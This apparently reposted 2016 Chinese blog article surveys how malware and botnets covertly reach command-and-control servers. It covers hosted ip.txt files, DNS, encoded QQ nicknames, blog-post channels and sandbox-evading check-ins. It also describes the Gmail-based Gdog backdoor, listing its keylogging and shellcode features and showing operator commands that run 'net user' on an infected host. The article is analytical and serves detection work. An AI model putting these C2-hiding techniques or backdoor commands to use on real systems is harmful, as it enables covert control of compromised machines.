码迷,mamicode.com
首页 > 其他好文 > 详细

恶意软件/BOT/C2隐蔽上线方式研究

时间:2016-05-29 16:28:31      阅读:484      评论:0      收藏:0      [点我收藏+]

标签:

catalogue

1. 传统木马上线方式
2. 新型木马上线方式
3. QQ昵称上线
4. QQ空间资料上线
5. 第三方域名上线
6. UDP/TCP二阶段混合上线
7. Gmail CNC

 

1. 传统木马上线方式

0x1: 正向主动连接

最早的远控木马都是"主动连接",即肉鸡客户端主动监听一个端口(提前配置好),等待主控端来连接,但是后来因为互联网的进一步发展,公网控制内网就出现了一定的问题,所以这种方法逐步不再使用

0x2: 反向(被动上线)

这是当前比较主流的C2 Bot上线方法,"被动连接"型的木马和"主动连接"的形式刚好相反,是木马即被控端主动来连接主控端。主控端开启一个端口,被控端去连接你配置好的IP地址(常常是硬编码在Binary内部)
有两种比较流行的被动上线方式

1. FTP/HTTP上线方式: 马的上线地址对应一个ftp文件下载链接
2. DNS域名解析: 马的上线地址对应一个DNS域名
//核心都是一种代理思想,将实际的、动态变化的上线IP/PORT通过一层动态解析机制隐藏起来

1. FTP Server保存文件(ip.txt)上线

在FTP服务器上写入一个ip.txt,内容就是你的主控端监听的IP地址和端口。当你的IP地址改变之后,你只需要再次更新这个ip.txt的内容即可。在配置木马的时候,只需要按照FTP上线方式的格式配置上线地址

技术分享

技术分享

2. HTTP Server保存文件(ip.txt)上线

和FTP Server方式原理是类似的,只是使用的网络协议不一样

http://www.tekla.pw/ip.txt

3. 域名解析上线

C2马通过静态编译将DNS解析库链接进Binary中,在回连上线前动态获取DNS IP地址,DNS作为一种互联网基础设施,可以保持稳定上线,灵活修改的特点 

Relevant Link:

http://www.freebuf.com/articles/terminal/77412.html

 

2. 新型木马上线方式

躲避网络监控设备的检测的思路其实很容易理解

1. 使用基础服务、公共服务常用协议,例如HTTP协议通信
2. 2级、多级代理方式,将点对点通信方式解耦
3. 反沙箱、反监控检测技术

接下来逐个分析

 

3. QQ昵称上线

这是一种公共信道的隐藏方式

http://users.qzone.qq.com/fcg-bin/cgi_get_portrait.fcg?uins=869655938

大灰狼/猎狐远控就采用了这种上线方式(DNS/IP/QQ昵称混合)

技术分享

通过API获取指定QQ号的昵称数据后,进行简单的算法解密、Base64解密,得到IP:Port信息,随后的流程和C/S架构的Bot类似

portraitCallBack({"202109629":["http://qlogo2.store.qq.com/qzone/202109629/202109629/100",0,-1,0,0,0,"npmwkqr",0]})

Relevant Link:

http://drops.wooyun.org/papers/14412 

 

4. QQ空间资料上线

和QQ昵称的上线方式一样,都是将加密后的上线信息写在一个可公共HTTP/API/JSON访问的地方,常常是社交媒体(提高隐蔽性),对于马来说需要增加一个网络IO获取过程和解密过程,其他过程和传统的木马上线方式一样

Relevant Link:

http://blogs.360.cn/360safe/2014/08/29/cnc_trojan_and_fake_proto/

 

5. 第三方域名上线

技术分享

这种木马使用的第三方域名实际上是利用第三方网站能够写入并及时修改自己的通信数据。木马编写者往往会寻找知名的网站,至少不会出现宕机的情况,以保持肉鸡的持久性控制。这样的网站很多,比如说博客类网站等等。可以提前发表一篇博文,并在博文里插入控制命令,之后特制的木马,就会去获取控制命令,同时木马也可以模拟编辑博文,写入执行结果的数据
这种方式的缺点是无法进行大批量的数据传输,像文件传输这样的功能虽然也可以实现,但是"用户体验"很差,所以这种上线方式的木马,大多被用来当作一个隐蔽的后门木马,只需要有一个文件下载和CMD Shell的功能

Relevant Link:

http://www.freebuf.com/articles/terminal/77412.html

 

6. UDP/TCP二阶段混合上线

技术分享

这类似于anti-Sandbox的对抗思路,木马利用了malware network sandbox常常处于隔离的断网环境的条件,进行sandbox探测,如果检测到处于sandbox环境则隐藏真实C&C Login行为,从而躲避网络抓包的检测

Relevant Link:

http://www.freebuf.com/articles/system/74679.html

 

7. Gmail CNC

Gdog是一款基于Python,以Gmail作为命令和控制服务器的Winddows后门工具,具有隐蔽性的优势

0x1: 特点

1. 通信数据加密(AES)+SHA256哈希
2. 使用系统信息生成唯一的id(SHA256哈希)
3. Job IDs是随机的SHA256哈希
4. 获取系统信息
5. 获取地理信息(城市,国家,经度,纬度 等等)
6. 获取运行的进程、服务、用户、设备(硬件)
7. 获取客户端列表
8. 执行系统命令
9. 从客户端下载文件
10. 上传文件至客户端
11. 执行shellcode
12. 截屏
13. 锁定客户端屏幕
14. 键盘记录
15. 关闭或重启远程计算机
16. 注销当前用户
17. 从WEB下载文件
18. 访问网站
19. 给用户弹消息框

0x2: 设置

1. 一个Gmail账户 
2. 在账户的安全设置中打开"Allow less secure apps"
3. 在账户设置中启动IMAP

0x3: Bot Client

和大多数Bot Client一样,Client主要由以下几个大块组成

1. 收集当前主机信息,加密(可选),发送给C2C端(通过gmail邮件实现代理效果)
2. c2c消息解析模块
3. 执行具体功能的函数模块(keylogger、screenshot、cmd..)

1. 上线

技术分享

client将信息以加密方式发送到指定gmail帐号中,邮件标题即为client id号

技术分享

2. 执行指令

Bot Client定时地从gmail邮箱中获取最新的"指令邮件",执行后,将执行结果发送回gmail邮箱,可以看出,Bot Client是一个典型的解耦架构

技术分享

{res: [0;System Idle Process, 4;System, 320;smss.exe, 444;csrss.exe, 548;wininit.exe, 620;services.exe, 628;lsass.exe, 724;svchost.exe, 788;svchost.exe, 300;svchost.exe, 304;svchost.exe, 8;svchost.exe, 1060;svchost.exe, 1068;svchost.exe, 1092;svchost.exe, 1200;WUDFHost.exe, 1296;igfxCUIService.exe, 1324;svchost.exe, 1428;ibmpmsvc.exe, 1528;QQPCRTP.exe, 1732;WUDFHost.exe, 1864;WUDFHost.exe, 1852;vpnagent.exe, 2172;spoolsv.exe, 2496;svchost.exe, 2520;mDNSResponder.exe, 2528;AppleMobileDeviceService.exe, 2564;ibtsiva.exe, 2672;pcas.exe, 2708;QQProtect.exe, 2724;secbizsrv.exe, 2732;TenpayServer.exe, 2888;SynTPEnhService.exe, 2904;svchost.exe, 2988;svchost.exe, 2996;TBSecSvc.exe, 3008;TsService.exe, 3016;valWBFPolicyService.exe, 3052;vmware-authd.exe, 3060;valWbioSyncSvc.exe, 1588;vmware-usbarbitrator64.exe, 1584;vmnetdhcp.exe, 2464;vmnat.exe, 3144;wwbizsrv.exe, 3356;dasHost.exe, 3464;WmiPrvSE.exe, 3736;vmware-hostd.exe, 5664;PresentationFontCache.exe, 6492;GoogleUpdate.exe, 16084;QQMusicService.exe, 8280;OfficeClickToRun.exe, 6732;SearchIndexer.exe, 5956;dllhost.exe, 13108;csrss.exe, 16968;winlogon.exe, 12128;dwm.exe, 18876;SynTPEnh.exe, 8052;SensorDBSynch.exe, 5288;sihost.exe, 8336;conhost.exe, 7200;taskhostw.exe, 11464;igfxEM.exe, 16660;SynTPHelper.exe, 11348;explorer.exe, 19204;aliwssv.exe, 5928;conhost.exe, 10036;RemindersServer.exe, 8200;SynTPLpr.exe, 12400;SynLenovoHelper.exe, 16916;ShellExperienceHost.exe, 2664;TSVNCache.exe, 16288;RuntimeBroker.exe, 10412;SearchUI.exe, 720;SettingSyncHost.exe, 11592;QQPCTray.exe, 18176;QQPCNetFlow.exe, 12444;QQPCRealTimeSpeedup.exe, 13812;AliLangAgent.exe, 17896;AliLangClient.exe, 19792;yunpan.exe, 16812;FileEncryptionSvr.exe, 9316;alineiwai.exe, 19816;vmware-tray.exe, 18336;svchost.exe, 13660;RAVCpl64.exe, 18096;RAVBg64.exe, 10572;TXPlatform.exe, 12936;DingTalk.exe, 1516;DingTalk.exe, 15956;DingTalk.exe, 12768;DingTalk.exe, 15508;AliIM.exe, 16100;AliApp.exe, 11996;TaobaoProtect.exe, 7284;QQBrowser.exe, 9896;firefox.exe, 6368;QQBrowser.exe, 13520;qqbrowser.exe, 11364;chrome.exe, 17372;chrome.exe, 5124;360se.exe, 5924;chrome.exe, 9664;pycharm.exe, 17432;qqbrowser.exe, 15416;ONENOTE.EXE, 19840;360se.exe, 13364;chrome.exe, 17064;sublime_text.exe, 11028;360se.exe, 13040;qqbrowser.exe, 12556;qqbrowser.exe, 19872;qqbrowser.exe, 15204;360se.exe, 11992;cmd.exe, 16600;cmd.exe, 9052;conhost.exe, 13096;conhost.exe, 15580;360se.exe, 19172;QMChExt.exe, 12876;QMChExt.exe, 16536;qqbrowser.exe, 15424;qqbrowser.exe, 16024;ONENOTEM.EXE, 6152;fsnotifier.exe, 13480;conhost.exe, 10452;SkypeHost.exe, 13048;QQDownload.exe, 1276;editplus.exe, 6440;SystemSettingsBroker.exe, 17368;NetworkUXBroker.exe, 16404;fontdrvhost.exe, 18968;AliIM.exe, 13704;AliApp.exe, 5624;360se.exe, 15552;Xshell.exe, 7336;XshellCore.exe, 12700;filezilla.exe, 16980;chrome.exe, 896;QQMusic.exe, 20040;QQMusicExternal.exe, 20356;QQMusicExternal.exe, 19228;QQMusicIE.exe, 32;QQMusicExternal.exe, 13904;audiodg.exe, 17796;FMAPP.exe, 8104;chrome.exe, 16344;wampmanager.exe, 5512;httpd.exe, 6392;mysqld.exe, 9096;httpd.exe, 10592;ApplicationFrameHost.exe, 10556;Calculator.exe, 1056;Microsoft.Photos.exe, 17112;chrome.exe, 5044;chrome.exe, 19028;chrome.exe, 3264;SystemSettings.exe, 6984;chrome.exe, 10344;chrome.exe, 6912;360se.exe, 12344;360se.exe, 19640;QQ.exe, 1156;QQExternal.exe, 18984;qqbrowser.exe, 2596;cmd.exe, 7328;conhost.exe, 16524;360se.exe, 5888;360se.exe, 4188;360se.exe, 2748;SearchProtocolHost.exe, 10756;WmiPrvSE.exe, 18776;SearchFilterHost.exe, 9596;python.exe, 7912;conhost.exe], cmd: tasks}

0x4: Bot CNC

1. 查看当前在线Client

CNC和Bot Client实现了完全的解耦,CNC通过查收gmail邮件的方式查看当前在线主机

python gdog.py -info -id b6b5164785a94ca60c6a360df4f800a45b3d3b26233443536c0acab902d0b779

技术分享

2. 向Bot Client发送指令并取回执行结果

python gdog.py -cmd "net user" -id b6b5164785a94ca60c6a360df4f800a45b3d3b26233443536c0acab902d0b779

技术分享

技术分享

Bot Client执行的结果依然通过邮件发送回来了,所以CNC需要主动去"尝试获取"执行结果

技术分享

python gdog.py -jobid 2b680930e5bd74ef9e5dca9ee8ff3fe2d20f57cfce693da341d9c10aae52065d -id b6b5164785a94ca60c6a360df4f800a45b3d3b26233443536c0acab902d0b779

技术分享

Relevant Link:

http://www.freebuf.com/sectool/105144.html

 

Copyright (c) 2016 LittleHann All rights reserved

 

恶意软件/BOT/C2隐蔽上线方式研究

标签:

原文地址:http://www.cnblogs.com/LittleHann/p/5532102.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!